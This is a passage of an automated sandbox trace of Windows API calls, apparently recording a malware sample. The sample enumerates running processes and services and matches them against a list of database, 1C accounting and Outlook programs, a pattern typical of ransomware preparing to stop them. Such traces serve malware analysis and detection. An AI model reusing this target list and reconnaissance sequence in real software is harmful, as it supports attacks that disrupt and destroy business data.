lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.059] lstrlenW (lpString="smss.exe") returned 8 [0243.059] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0243.059] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0243.060] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0243.060] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0243.060] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0243.060] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0243.060] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0243.060] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.061] lstrlenW (lpString="csrss.exe") returned 9 [0243.061] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0243.061] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0243.061] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0243.061] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0243.061] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0243.061] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0243.061] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0243.061] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0243.062] lstrlenW (lpString="wininit.exe") returned 11 [0243.062] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0243.062] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0243.062] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0243.062] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0243.063] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0243.063] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0243.063] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0243.063] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.064] lstrlenW (lpString="csrss.exe") returned 9 [0243.064] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0243.064] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0243.064] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0243.064] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0243.064] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0243.064] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0243.064] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0243.064] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0243.065] lstrlenW (lpString="winlogon.exe") returned 12 [0243.066] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0243.066] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0243.066] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0243.066] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0243.066] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0243.066] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0243.066] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0243.066] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0243.067] lstrlenW (lpString="services.exe") returned 12 [0243.067] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0243.067] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0243.067] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0243.067] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0243.067] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0243.067] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0243.068] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0243.068] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0243.069] lstrlenW (lpString="lsass.exe") returned 9 [0243.069] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0243.069] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0243.069] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0243.069] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0243.069] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0243.069] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0243.069] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0243.069] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0243.070] lstrlenW (lpString="lsm.exe") returned 7 [0243.070] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0243.070] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0243.070] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0243.070] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0243.070] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0243.070] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0243.071] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0243.071] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.406] lstrlenW (lpString="svchost.exe") returned 11 [0243.406] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0243.406] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0243.407] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0243.407] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0243.407] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0243.407] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0243.407] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.408] lstrlenW (lpString="svchost.exe") returned 11 [0243.408] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.409] lstrlenW (lpString="svchost.exe") returned 11 [0243.410] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.411] lstrlenW (lpString="svchost.exe") returned 11 [0243.411] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.412] lstrlenW (lpString="svchost.exe") returned 11 [0243.412] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0243.413] lstrlenW (lpString="audiodg.exe") returned 11 [0243.413] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.415] lstrlenW (lpString="svchost.exe") returned 11 [0243.415] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0243.417] lstrlenW (lpString="explorer.exe") returned 12 [0243.417] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0243.418] lstrlenW (lpString="dwm.exe") returned 7 [0243.418] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.419] lstrlenW (lpString="svchost.exe") returned 11 [0243.419] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0243.420] lstrlenW (lpString="driver.exe") returned 10 [0243.420] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0243.421] lstrlenW (lpString="spoolsv.exe") returned 11 [0243.422] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0243.423] lstrlenW (lpString="taskhost.exe") returned 12 [0243.423] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0243.424] lstrlenW (lpString="svchost.exe") returned 11 [0243.424] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0243.425] lstrlenW (lpString="reader_sl.exe") returned 13 [0243.425] Process32NextW (in: hSnapshot=0x338, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0243.426] CloseHandle (hObject=0x338) returned 1 [0243.426] Sleep (dwMilliseconds=0x1f4) [0244.177] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c31a8 [0244.178] EnumServicesStatusExW (in: hSCManager=0x41c31a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0244.179] GetLastError () returned 0xea [0244.180] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xf0a) returned 0x41d0998 [0244.180] EnumServicesStatusExW (in: hSCManager=0x41c31a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xf0a, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0244.181] CloseServiceHandle (hSCObject=0x41c31a8) returned 1 [0244.181] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0244.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0244.182] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0244.182] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0244.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0244.182] lstrlenW (lpString="AudioSrv") returned 8 [0244.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0244.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0244.182] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0244.182] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0244.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0244.182] lstrlenW (lpString="BFE") returned 3 [0244.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0244.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0244.183] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0244.183] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0244.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0244.183] lstrlenW (lpString="CryptSvc") returned 8 [0244.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0244.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0244.183] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0244.183] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0244.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0244.183] lstrlenW (lpString="CscService") returned 10 [0244.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0244.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0244.183] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0244.184] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0244.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0244.184] lstrlenW (lpString="DcomLaunch") returned 10 [0244.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0244.184] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0244.184] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0244.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0244.184] lstrlenW (lpString="Dhcp") returned 4 [0244.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0244.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0244.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0244.185] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0244.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0244.185] lstrlenW (lpString="Dnscache") returned 8 [0244.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0244.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0244.185] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0244.185] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0244.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0244.185] lstrlenW (lpString="DPS") returned 3 [0244.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0244.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0244.185] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0244.185] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0244.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0244.185] lstrlenW (lpString="eventlog") returned 8 [0244.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0244.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0244.186] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0244.186] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0244.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0244.186] lstrlenW (lpString="EventSystem") returned 11 [0244.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0244.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0244.186] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0244.186] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0244.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0244.186] lstrlenW (lpString="gpsvc") returned 5 [0244.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0244.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0244.187] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0244.187] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0244.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0244.187] lstrlenW (lpString="iphlpsvc") returned 8 [0244.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0244.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0244.187] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0244.187] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0244.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0244.187] lstrlenW (lpString="LanmanServer") returned 12 [0244.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0244.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0244.187] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0244.188] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0244.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0244.188] lstrlenW (lpString="LanmanWorkstation") returned 17 [0244.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0244.188] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0244.188] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0244.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0244.188] lstrlenW (lpString="lmhosts") returned 7 [0244.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0244.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0244.188] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0244.188] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0244.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0244.189] lstrlenW (lpString="MMCSS") returned 5 [0244.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0244.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0244.189] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0244.189] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0244.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0244.189] lstrlenW (lpString="MpsSvc") returned 6 [0244.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0244.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0244.189] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0244.189] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0244.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0244.190] lstrlenW (lpString="NlaSvc") returned 6 [0244.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0244.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0244.190] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0244.190] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0244.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0244.190] lstrlenW (lpString="nsi") returned 3 [0244.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0244.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0244.190] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0244.190] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0244.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0244.190] lstrlenW (lpString="PcaSvc") returned 6 [0244.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0244.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0244.191] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0244.191] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0244.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0244.191] lstrlenW (lpString="PlugPlay") returned 8 [0244.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0244.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0244.191] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0244.191] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0244.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0244.191] lstrlenW (lpString="Power") returned 5 [0244.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0244.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0244.192] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0244.192] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0244.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0244.192] lstrlenW (lpString="ProfSvc") returned 7 [0244.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0244.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0244.192] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0244.192] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0244.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0244.192] lstrlenW (lpString="RpcEptMapper") returned 12 [0244.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0244.192] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0244.192] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0244.193] lstrcmpiW (lpString1="sqlserveradhelper", 